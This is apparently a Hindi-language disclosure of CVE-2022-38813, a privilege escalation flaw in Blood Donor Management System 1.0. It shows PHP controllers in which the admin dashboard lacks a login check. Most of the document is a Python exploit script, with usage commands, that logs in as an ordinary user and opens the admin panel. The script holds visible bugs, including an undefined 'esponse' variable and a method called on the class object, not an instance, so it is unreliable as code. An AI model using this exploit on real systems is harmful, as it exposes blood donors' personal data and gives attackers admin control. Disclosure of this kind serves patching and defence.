
ब्लड डोनर प्रबंधन प्रणाली में प्रमाणित ऊर्ध्वाधर विशेषाधिकार वृद्धि भेद्यता
ब्लड डोनर मैनेजमेंट सिस्टम (Codeigniter v 1.0) में user पैरामीटर के माध्यम से वर्टिकल प्रिविलेज एस्केलेशन

ब्लड डोनर मैनेजमेंट सिस्टम 1.0 admin/dashboard.php तक पहुंच को उचित रूप से प्रतिबंधित नहीं करता है, जिससे हमलावर उपयोगकर्ताओं के सभी डेटा तक पहुंच सकते हैं, उपयोगकर्ताओं को हटा सकते हैं, ब्लड ग्रुप जोड़ और प्रबंधित कर सकते हैं, और रिपोर्ट सबमिट कर सकते हैं।
निम्नलिखित सोर्स कोड में हम देख सकते हैं कि user/dashboard किसी user पैरामीटर को उचित रूप से प्रतिबंधित नहीं करता है, इसलिए हमलावर उस पैरामीटर को admin पैरामीटर में बदलकर एडमिन खाते तक पहुंच प्राप्त कर सकता है।
संवेदनशील पेज - User में Dashboard.php और Admin में Dashboard.php
// Dashboard.php in User
class Dashboard extends CI_Controller
{
//Validating login
function __construct()
{
parent::__construct();
if (!$this->session->userdata('uid'))
redirect('user/login');
}
public function index()
{
$this->load->view('user/dashboard');
}
}
// Dashboard.php in Admin
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class Dashboard extends CI_Controller
{
public function index()
{
$this->load->model('admin/Dashboard_Model', 'adminn');
$totalusercount = $this->adminn->totalusercount();
$totalbloodgroupcount = $this->adminn->totalbloodgroupcount();
$this->load->view('admin/dashboard', ['totalusercount' => $totalusercount, 'totalbloodgroupcount' => $totalbloodgroupcount]);
}
}
import argparse
import requests
from termcolor import cprint
import sys
from bs4 import *
color = "green"
cprint("[+] CVE-2022-38813 Authenticated Privilege Escalation in Blood Donor Management System v1.0", color)
cprint("[+] Author: RashidKhan Pathan aka iHexCoder", color)
cprint("[!] Usage: run exploit.py username password payload", color)
cprint("[!] Example: python3 exploit.py admin [email protected] Test@123", color)
class PrivilegeEscalation:
color = "green"
def __init__(self, username, password, payload):
self.username = username
self.password = password
self.paylaod = payload
def authentication(self):
color = "green"
cprint("[+] Authenticating User", color)
cprint("[+] Username: " + args.username, color)
cprint("[+] Password: " + args.password, color)
cprint("[+] Payload: " + args.payload, color)
login_url = "http://localhost/blood/user/login"
data = {
"email": args.username,
"password": args.password
}
login_response = requests.post(login_url, data=data)
cprint("[+] Exploiting...Started", color)
if "/user/login" in login_response.url:
cprint("[+] Credentials is not Valid", "red")
sys.exit(1)
else:
cprint("[+] Authenticated Successfully as a Normal User ", color)
cprint("[+] Normal User URL Endpoint " + login_response.url, color)
url = args.payload
if args.payload != "admin":
cprint("[+] Please Add Valid Payload", "red")
sys.exit(1)
response = requests.get(f"http://localhost/blood/{url}/dashboard")
cprint("[+] Exploit Compleated", color)
cprint("[+] Accessed Admin Panel Successfully " + response.url, color)
cprint("[+] Copy the URL and Replace with user/dashboard URL with " + esponse.url, color)
cprint("[+] After Replacing it You Should see the Bypassed Admin Panel", color)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("username", help="Please Add Username", type=str)
parser.add_argument("password", help="Please Add Password", type=str)
parser.add_argument("payload", help="Please Add Password", type=str)
args = parser.parse_args()
privilegeEscalation = PrivilegeEscalation
privilegeEscalation.authentication((args.username, args.password, args.payload))
# Changes The Vulnerable user paramter from url to escalate privileges normal user to admin -
python3 CVE-2022-38813.py <username> <password> <payload>
python CVE-2022-38813.py [email protected] Test@123 admin

सॉफ्टवेयर लिंक: https://phpgurukul.com/blood-donor-management-system-using-codeigniter
RashidKhan Pathan (iHexCoder), 9 सितंबर 2022। ट्विटर: @itRashid